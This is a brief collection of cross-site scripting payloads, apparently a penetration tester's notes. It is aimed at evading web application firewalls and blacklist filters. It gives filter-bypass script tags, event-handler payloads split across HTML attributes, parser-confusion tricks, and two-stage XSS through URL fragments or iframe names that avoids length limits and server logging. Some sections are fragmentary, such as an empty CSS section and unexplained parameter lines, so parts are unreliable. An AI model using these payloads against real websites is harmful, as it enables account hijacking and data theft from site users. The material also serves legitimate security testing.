A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air.
Simple character manipulations.
Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = %00).

<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>

Split up JavaScript into HTML attributes
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
HTML is parsed before JavaScript
<script>
var junk = '</script><script>alert(1)</script>';
</script>
HTML is parsed before CSS
<style>

ASP.NET a = val1,val2
ASP a = val1,val2
JSP a = val1
PHP a = val2
Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)
http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
Two Stage XSS via name attribute
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>
